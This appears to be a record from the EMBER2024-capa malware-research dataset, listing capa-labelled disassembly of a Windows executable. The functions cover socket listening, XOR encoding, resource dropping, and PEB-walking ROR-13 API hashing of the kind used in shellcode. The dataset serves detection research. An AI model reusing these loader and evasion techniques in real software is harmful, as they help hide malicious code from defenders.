joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4137b0
Capabilities:
Get socket status

Disassembly:
mov eax, dword [ecx]
sub esp, 0x10c
cmp eax, 0xffffffff
jne 0x4137c6
xor al, al
add esp, 0x10c
ret
mov dword [esp + 0xc], eax
lea ecx, [esp]
xor eax, eax
push ecx
push eax
lea edx, [esp + 0x10]
push eax
push edx
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
sete al
add esp, 0x10c
ret

Function at 0x413800
Capabilities:
Get socket status

Disassembly:
mov eax, dword [ecx]
sub esp, 0x10c
cmp eax, 0xffffffff
jne 0x413816
xor al, al
add esp, 0x10c
ret
mov dword [esp + 0xc], eax
lea ecx, [esp]
xor eax, eax
push ecx
lea edx, [esp + 0xc]
push eax
push edx
push eax
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
sete al
add esp, 0x10c
ret

Function at 0x413960
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
mov dword [esp + 0x10], ebx
call esi
mov ecx, ebx
mov edi, eax
call fcn.004137b0
test al, al
jne 0x4139a3
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call esi
mov ecx, dword [esp + 0x10]
sub eax, edi
cmp eax, ebx
jae 0x4139ad
call fcn.004137b0
test al, al
je 0x41398a
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret 4
call fcn.004139d0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret 4

Function at 0x413a00
Capabilities:
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push edi
mov edi, ecx
cmp dword [edi], 0xffffffff
je 0x413a16
pop edi
xor al, al
pop esi
add esp, 0x10
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413a33
pop edi
xor al, al
pop esi
add esp, 0x10
ret 8
mov eax, dword [esp + 0x1c]
mov word [esp + 8], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0xe], ax
call dword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
lea edx, [esp + 8]
push 0x10
mov dword [esp + 0x14], ecx
push edx
push esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x413a83
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor al, al
pop esi
add esp, 0x10
ret 8
mov eax, dword [esp + 0x20]
push eax
push esi
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
push esi
je 0x413aa4
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor al, al
pop esi
add esp, 0x10
ret 8
mov ecx, edi
call fcn.00413930
pop edi
mov al, 1
pop esi
add esp, 0x10
ret 8

Function at 0x413b20
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0xffffffff
jne 0x413b2f
or eax, 0xffffffff
pop esi
ret 0x10
mov al, byte [esp + 0x14]
test al, al
jne 0x413b48
mov ecx, esi
call fcn.00413800
test al, al
jne 0x413b48
xor eax, eax
pop esi
ret 0x10
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
pop esi
ret 0x10
Function at 0x413b70
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0xffffffff
jne 0x413b7f
or eax, 0xffffffff
pop esi
ret 0x10
mov al, byte [esp + 0x14]
test al, al
jne 0x413b98
mov ecx, esi
call fcn.004137b0
test al, al
jne 0x413b98
xor eax, eax
pop esi
ret 0x10
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
pop esi
ret 0x10

Function at 0x413e50
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
shr edx, 2
je 0x413e76
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push esi
push edi
sub ecx, eax
mov esi, dword [ecx + eax]
mov edi, dword [eax]
xor edi, esi
mov dword [eax], edi
add eax, 4
dec edx
jne 0x413e65
pop edi
pop esi
ret 0xc

Function at 0x4148c0
Capabilities:
Terminate thread

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x124]
mov dword [esi + 0x120], 1
test eax, eax
je 0x414920
push 0x1f4
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x124]
lea eax, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x414916
cmp dword [esp + 4], 0x103
jne 0x414916
mov edx, dword [esi + 0x124]
push 0x103
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0x124], 0
push 1
push 0x42a
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
push 0
push 0x427
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
push 1
push 0x426
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
push 0
push 0x428
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
pop esi
pop ecx
ret
Function at 0x415160
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push 0x460db0
push 0x9c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x415183
pop esi
pop ebp
pop ebx
pop ecx
ret 4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4151a4
pop esi
pop ebp
pop ebx
pop ecx
ret 4
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4151ba
pop esi
pop ebp
pop ebx
pop ecx
ret 4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebp
mov esi, eax
mov eax, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x1e870]
mov ecx, 0x130
mov esi, str.http:__www.xx.com_ip.txt
push 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x24]
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
pop edi
test esi, esi
jne 0x415210
pop esi
pop ebp
pop ebx
pop ecx
ret 4
lea edx, [esp + 0xc]
push 0
push edx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret 4

Function at 0x415ea8
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x449ad0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00401910
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x30], 0
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ecx, dword [eax]
mov dword [esp + 0x20], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x24], edx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x38], 1
call fcn.00416350
mov esi, dword [eax]
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 0
mov edx, dword [eax + 4]
mov dword [esp + 0x18], edx
call fcn.0040cab0
lea ecx, [esp + 4]
mov dword [esp + 0x30], 0xffffffff
call fcn.0040cab0
mov ecx, dword [esp + 0x28]
lea eax, [esi + 0x10]
pop esi
mov dword fs:[0], ecx
add esp, 0x30
ret 4
Function at 0x418a70
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x449cb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x1770
mov ebx, dword [esi + 0x18]
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [esi + 4]
push 0x10
inc edi
mov dword [esp + 0x2c], 0
mov dword [esi + 4], edi
call fcn.0043d571
mov edx, dword [esp + 0x4c]
mov edi, eax
mov eax, dword [esp + 0x3c]
add esp, 4
mov dword [edi + 4], eax
mov eax, dword [esp + 0x40]
mov dword [edi], esi
mov ecx, dword [esi + 4]
mov dword [edi + 8], ecx
mov ecx, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x34]
mov dword [edi + 0xc], edx
mov edx, dword [esp + 0x38]
push ecx
push edi
push 0x418a40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
mov eax, dword [esp + 0x44]
test eax, eax
je 0x418b01
mov ecx, dword [esi + 4]
mov dword [eax], ecx
test ebp, ebp
jne 0x418b10
push edi
call fcn.0043d59a
add esp, 4
jmp 0x418b40
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [esi + 4]
mov dword [esp + 0x18], eax
lea ecx, [esi + 8]
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], edx
push eax
mov edx, dword [ecx + 8]
push 1
push edx
mov dword [esp + 0x20], ebp
call fcn.00418ea0
push ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esp + 0x20]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x1c

Function at 0x418b90
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x1770
mov eax, dword [esi + 0x18]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [esi + 0xc]
xor edi, edi
xor ebp, ebp
test ebx, ebx
je 0x418c41
mov ecx, dword [esi + 0x10]
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edi, edx
jae 0x418c41
mov ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x18]
cmp edx, dword [ecx + ebp + 8]
je 0x418be5
inc edi
add ebp, 0xc
jmp 0x418bb1
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov ebp, eax
call ebx
mov ecx, dword [esp + 0x1c]
sub eax, ebp
cmp eax, ecx
ja 0x418c17
mov eax, dword [esi + 0xc]
lea ecx, [edi + edi*2]
push 1
mov edx, dword [eax + ecx*4 + 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x418c2c
jmp 0x418bef
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret 8
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret 8
Function at 0x418c60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x1770
mov eax, dword [esi + 0x18]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [esi + 0xc]
xor edi, edi
xor ebp, ebp
test ebx, ebx
je 0x418d10
mov ecx, dword [esi + 0x10]
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edi, edx
jae 0x418d10
mov ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x18]
cmp edx, dword [ecx + ebp]
je 0x418cb4
inc edi
add ebp, 0xc
jmp 0x418c81
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov ebp, eax
call ebx
mov ecx, dword [esp + 0x1c]
sub eax, ebp
cmp eax, ecx
ja 0x418ce6
mov eax, dword [esi + 0xc]
lea ecx, [edi + edi*2]
push 1
mov edx, dword [eax + ecx*4 + 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x418cfb
jmp 0x418cbe
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret 8
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret 8

Function at 0x41a440
Capabilities:
Terminate thread

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0xf0]
mov dword [esi + 0xec], 1
test eax, eax
je 0x41a4a0
push 0x1f4
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0xf0]
lea eax, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x41a496
cmp dword [esp + 4], 0x103
jne 0x41a496
mov edx, dword [esi + 0xf0]
push 0x103
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0xf0], 0
push 0
push 0x438
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
push 1
push 0x42b
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
push 0
push 0x42c
mov ecx, esi
call fcn.0043cd25
mov ecx, eax
call fcn.0043cf87
pop esi
pop ecx
ret
Function at 0x437690
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00424d20
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x43775b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x43775b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x43770e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x437719
or bh, 8
and edi, 0x8000000
je 0x437734
mov eax, dword [0x46923c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x43775b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x437b30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x437b5b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x437b7f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x437b9a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x43aef9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x43af31
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0043dcf6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0043dccd
jmp 0x43af3d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x43af41
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x467328
mov ecx, edi
call fcn.0043d9cf
cmp dword [esi + 0x34], 0
push dword [esp + 0xc]
jne 0x43af94
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x43afa7
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.0043dcf6
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.0043dccd
jmp 0x43afa7
mov ecx, esi
call fcn.0043cd25
test eax, eax
je 0x43afa7
push edi
mov ecx, eax
call fcn.0043aef9
mov eax, dword [edi]
pop edi
pop esi
mov eax, dword [eax - 8]
ret 8

Function at 0x43c5e1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x43c623
call fcn.00444bd1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x43c623
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x43c61a
xor eax, eax
jmp 0x43c62b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0043c631
pop edi
pop esi
pop ebx
ret 4

Function at 0x43df04
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x43df26
cmp dword [edi + 0x3c], 0
jne 0x43df26
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00444bd1
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0043df53
pop edi
pop esi
pop ebx
ret 8

Function at 0x44338d
Capabilities:
Create http request

Disassembly:
mov eax, 0x44a6b8
call fcn.00425c68
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x4433c5
call fcn.00444bd1
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x4433ea
push eax
push dword [esi + 4]
call fcn.00444223
jmp 0x4433f6
push esi
push eax
mov ecx, 0x4673b8
call fcn.00443407
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x443703
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x44a72b
call fcn.00425c68
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00440475
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x4613b8]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.0043d9cf
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.0043d9cf
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x4458e5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x445913
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x445931
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0044584b
jmp 0x445931
mov eax, dword [esi + 0x14]
test eax, eax
je 0x445931
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0044584b
test edi, edi
mov eax, edi
jne 0x44591b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40df47
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40df68
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40df5f
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40df57
mov eax, ebx
leave
ret

Function at 0x40df8e
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x40dfed
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40e01a
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40e009
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40dffa
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x40e040
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x40dfe1
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8